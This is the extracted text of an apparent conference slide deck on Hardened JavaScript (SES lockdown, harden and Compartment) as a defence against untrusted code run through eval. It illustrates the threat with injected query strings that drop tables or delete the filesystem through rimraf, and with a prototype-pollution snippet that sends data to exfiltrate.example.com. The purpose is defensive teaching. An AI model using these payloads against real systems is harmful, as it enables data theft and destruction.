KEMBAR78
Hardened JavaScript | PPTX
1
Hardened
JavaScript
🧙♂️ Kris Kowal
🐦 @kriskowal
✉️ kris@agoric.com
DEC VT100 Terminal, Jason
Scott
Interaction and Vulnerability
Netscape Navigator 1.22 on
Windows
3
Interaction and Vulnerability
Running other people’s programs is dangerous
and some people will even tell you that you
shouldn’t do it.
You can run other people’s programs safely.
The solution is Hardened JavaScript.
Ulysses and the Sirens, 1891, by John William Waterhouse
Interaction and Vulnerability
User Agent
5
User agents mediate interaction. A web browser is a
user agent.
■ Browsers invite arbitrary programs off the
internet to run on your computer.
■ Server sends a program to the client.
■ The client runs the program with limited
access to local resources.
■ The browser mediates the interaction through
its user interface “chrome”.
Motorcycle Reflections, Atoma
Two parties (client and server) are easy to
safeguard, but not very interesting.
Within a user agent, multiple parties can send each
other facets of APIs and interact directly with each
other on behalf of the user.
■ Client engages two other services.
■ Client introduces one service to the other, to
communicate on its behalf.
■ Browser mediates the interaction, including
the ability to revoke communication between
third-party services at any time.
Three is a Party
6
Granovetter Diagram
■ Sandbox
■ Unforgeable references
■ Closures
■ Run-to-completion event-loop
■ Strict mode
■ Hardenable by freezing
7
Why JavaScript
Queries are
Hobbled
Programs
Consider the case of a data
service provider that accepts
arbitrary programs instead of a
weakened query language.
8
const search = query => {
const matches = [];
for (const item of database.items()) {
if (eval(query)) {
matches.push(item);
};
}
return matches;
};
// With great interaction…
search('item.price > 50 && item.size == 8');
// …comes great vulnerability.
search('database.dropAllTables(), false');
Eval is not exactly Evil
The Levenshtein Distance between Eval and Evil is not zero.
Eval is not Evil, QED.
E V I L
E 0 1 2 3
V 1 0 1 2
A 2 1 1 2
L 3 2 2 1
eval('var undefined = null');
console.log(undefined); // null
10
Direct Eval
11
const indirectEval = eval;
indirectEval('Math = 2 + 2');
// or:
(0, eval)('Array = Object');
console.log(globalThis.Array); // Object
Indirect Eval
new Function(
'value',
'globalThis.NaN = value' // 👈 siren song here
)(42);
console.log(NaN); // 42
12
Function Constructor
How Eval can be
used for Evil
13
Let me count the ways.
■ To replace constructors with imposters,
■ To subvert methods on shared prototypes,
■ To distribute furtive missives on properties of
unsuspecting objects,
■ To listen to activity through the walls with
high resolution timers,
■ To hog local resources like memory or
compute time,
■ To use powerful API’s to steal your private
keys and scribble on your disk,
■ To run your kitchen sink garbage disposal at
inopportune times,
■ To teach your pets to wage a guerrilla war for
Taming Eval
■ 🔒 Lockdown: Freeze every object the
language provides, the shared primordials.
■ 🧊 Harden: Give programs a way to deep
freeze the objects they share with other
parties.
■ 📦 Compartment: Provide a way to make
spaces that only have the shared primordials
and other explicitly shared objects.
Give programs a firm foundation to stand on to
defend their own integrity and confidentiality.
14
15
🔒 Lockdown
lockdown();
Object.isFrozen(Array); // true
Object.isFrozen(Array.prototype); // yes
Object.isFrozen(Object); // indeed
Object.isFrozen(Object.prototype); // verily
16
🧊 Harden
lockdown();
const me = {
ma: { ma: {}, pa: {} },
pa: { ma: {}, pa: {} },
};
harden(me);
Object.isFrozen(me); // true
Object.isFrozen(me.ma); // yes
Object.isFrozen(me.ma.ma); // indeed
Object.isFrozen(me.ma.pa); // verily
Object.isFrozen(me.pa); // quite
Object.isFrozen(me.pa.ma); // affirmative
Object.isFrozen(me.pa.pa); // indubitably
17
📦 Compartment
lockdown();
const compartment = new Compartment({ console });
harden(compartment.globalThis);
compartment.evaluate('console.log("Hello, World!");');
compartment.evaluate(`eval("console.log('Hi');")`);
compartment.evaluate('[]') instanceof Array; // totally
compartment.evaluate('{}') instanceof Object; // exactly
compartment.evaluate('globalThis') !== globalThis; // unique!
compartment.evaluate('Date.now()'); // NaN
compartment.evaluate('new Date()'); // Invalid Date
compartment.evaluate('Math.random'); // undefined
Within a
Compartment
18
globalThis.NaN = 42;
Math = 2 + 2;
globalThis.undefined = null;
const push = Array.prototype.push;
Array.prototype.push = (...args) => {
fetch(`https://exfiltrate.example.com?${args}`);
return push.apply(this, args);
};
Attacker cannot pollute prototypes.
19
lockdown();
const compartment = new Compartment();
harden(compartment.globalThis);
const SafeFunction = compartment.globalThis.Function;
const search = harden(query => {
const match = new SafeFunction('item', query);
const matches = [];
for (const item of database.items()) {
if (match(harden(item))) {
matches.push(item);
};
}
return harden(matches);
});
Safe
Queries
&
Hardened
JavaScript
Safe
Queries
&
Hardened
JavaScript
20
// With great interaction…
search('item.price > 50 && item.size == 8');
// ReferenceError: database
search('database.dropAllTables(), false');
// Cannot assign
search('Array.prototype.push = mitm');
// ReferenceError: require
search('require("rimraf")("/")');
Identity
Discontinuity
21
const matches = search(
'item.price > 50 && item.size == 8'
);
matches instanceof Array // no!?
22
LavaMoat and mitigating supply chain attacks
https://github.com/LavaMoat/LavaMoat
23
https://github.com/endojs/endo
24
https://github.com/endojs/endo/packages/ses
25
https://www.moddable.com/
26
Hardened JavaScript
Hardened JavaScript in the Agoric Architecture
27
modulecounts.com
28
npm-stats.com for q
Conclusion
29
Hardened JavaScript
https://github.com/endojs/endo
lockdown();
const compartment = new Compartment();
const sing = compartment.evaluate(sirenSong);
sing({
enjoyMusic() { /* … */ },
// drownYourself() { /* … */ },
});
30
Hardened
JavaScript
https://github.com/endojs/endo
$ npm install ses
🧙♂️ Kris Kowal 🐦 @kriskowal ✉️ kris@agoric.com
31
32

Hardened JavaScript

  • 1.
    1 Hardened JavaScript 🧙♂️ Kris Kowal 🐦@kriskowal ✉️ kris@agoric.com
  • 2.
    DEC VT100 Terminal,Jason Scott Interaction and Vulnerability Netscape Navigator 1.22 on Windows
  • 3.
    3 Interaction and Vulnerability Runningother people’s programs is dangerous and some people will even tell you that you shouldn’t do it. You can run other people’s programs safely. The solution is Hardened JavaScript.
  • 4.
    Ulysses and theSirens, 1891, by John William Waterhouse Interaction and Vulnerability
  • 5.
    User Agent 5 User agentsmediate interaction. A web browser is a user agent. ■ Browsers invite arbitrary programs off the internet to run on your computer. ■ Server sends a program to the client. ■ The client runs the program with limited access to local resources. ■ The browser mediates the interaction through its user interface “chrome”. Motorcycle Reflections, Atoma
  • 6.
    Two parties (clientand server) are easy to safeguard, but not very interesting. Within a user agent, multiple parties can send each other facets of APIs and interact directly with each other on behalf of the user. ■ Client engages two other services. ■ Client introduces one service to the other, to communicate on its behalf. ■ Browser mediates the interaction, including the ability to revoke communication between third-party services at any time. Three is a Party 6 Granovetter Diagram
  • 7.
    ■ Sandbox ■ Unforgeablereferences ■ Closures ■ Run-to-completion event-loop ■ Strict mode ■ Hardenable by freezing 7 Why JavaScript
  • 8.
    Queries are Hobbled Programs Consider thecase of a data service provider that accepts arbitrary programs instead of a weakened query language. 8 const search = query => { const matches = []; for (const item of database.items()) { if (eval(query)) { matches.push(item); }; } return matches; }; // With great interaction… search('item.price > 50 && item.size == 8'); // …comes great vulnerability. search('database.dropAllTables(), false');
  • 9.
    Eval is notexactly Evil The Levenshtein Distance between Eval and Evil is not zero. Eval is not Evil, QED. E V I L E 0 1 2 3 V 1 0 1 2 A 2 1 1 2 L 3 2 2 1
  • 10.
    eval('var undefined =null'); console.log(undefined); // null 10 Direct Eval
  • 11.
    11 const indirectEval =eval; indirectEval('Math = 2 + 2'); // or: (0, eval)('Array = Object'); console.log(globalThis.Array); // Object Indirect Eval
  • 12.
    new Function( 'value', 'globalThis.NaN =value' // 👈 siren song here )(42); console.log(NaN); // 42 12 Function Constructor
  • 13.
    How Eval canbe used for Evil 13 Let me count the ways. ■ To replace constructors with imposters, ■ To subvert methods on shared prototypes, ■ To distribute furtive missives on properties of unsuspecting objects, ■ To listen to activity through the walls with high resolution timers, ■ To hog local resources like memory or compute time, ■ To use powerful API’s to steal your private keys and scribble on your disk, ■ To run your kitchen sink garbage disposal at inopportune times, ■ To teach your pets to wage a guerrilla war for
  • 14.
    Taming Eval ■ 🔒Lockdown: Freeze every object the language provides, the shared primordials. ■ 🧊 Harden: Give programs a way to deep freeze the objects they share with other parties. ■ 📦 Compartment: Provide a way to make spaces that only have the shared primordials and other explicitly shared objects. Give programs a firm foundation to stand on to defend their own integrity and confidentiality. 14
  • 15.
    15 🔒 Lockdown lockdown(); Object.isFrozen(Array); //true Object.isFrozen(Array.prototype); // yes Object.isFrozen(Object); // indeed Object.isFrozen(Object.prototype); // verily
  • 16.
    16 🧊 Harden lockdown(); const me= { ma: { ma: {}, pa: {} }, pa: { ma: {}, pa: {} }, }; harden(me); Object.isFrozen(me); // true Object.isFrozen(me.ma); // yes Object.isFrozen(me.ma.ma); // indeed Object.isFrozen(me.ma.pa); // verily Object.isFrozen(me.pa); // quite Object.isFrozen(me.pa.ma); // affirmative Object.isFrozen(me.pa.pa); // indubitably
  • 17.
    17 📦 Compartment lockdown(); const compartment= new Compartment({ console }); harden(compartment.globalThis); compartment.evaluate('console.log("Hello, World!");'); compartment.evaluate(`eval("console.log('Hi');")`); compartment.evaluate('[]') instanceof Array; // totally compartment.evaluate('{}') instanceof Object; // exactly compartment.evaluate('globalThis') !== globalThis; // unique! compartment.evaluate('Date.now()'); // NaN compartment.evaluate('new Date()'); // Invalid Date compartment.evaluate('Math.random'); // undefined
  • 18.
    Within a Compartment 18 globalThis.NaN =42; Math = 2 + 2; globalThis.undefined = null; const push = Array.prototype.push; Array.prototype.push = (...args) => { fetch(`https://exfiltrate.example.com?${args}`); return push.apply(this, args); }; Attacker cannot pollute prototypes.
  • 19.
    19 lockdown(); const compartment =new Compartment(); harden(compartment.globalThis); const SafeFunction = compartment.globalThis.Function; const search = harden(query => { const match = new SafeFunction('item', query); const matches = []; for (const item of database.items()) { if (match(harden(item))) { matches.push(item); }; } return harden(matches); }); Safe Queries & Hardened JavaScript
  • 20.
    Safe Queries & Hardened JavaScript 20 // With greatinteraction… search('item.price > 50 && item.size == 8'); // ReferenceError: database search('database.dropAllTables(), false'); // Cannot assign search('Array.prototype.push = mitm'); // ReferenceError: require search('require("rimraf")("/")');
  • 21.
    Identity Discontinuity 21 const matches =search( 'item.price > 50 && item.size == 8' ); matches instanceof Array // no!?
  • 22.
    22 LavaMoat and mitigatingsupply chain attacks https://github.com/LavaMoat/LavaMoat
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
    Conclusion 29 Hardened JavaScript https://github.com/endojs/endo lockdown(); const compartment= new Compartment(); const sing = compartment.evaluate(sirenSong); sing({ enjoyMusic() { /* … */ }, // drownYourself() { /* … */ }, });
  • 30.
    30 Hardened JavaScript https://github.com/endojs/endo $ npm installses 🧙♂️ Kris Kowal 🐦 @kriskowal ✉️ kris@agoric.com
  • 31.
  • 32.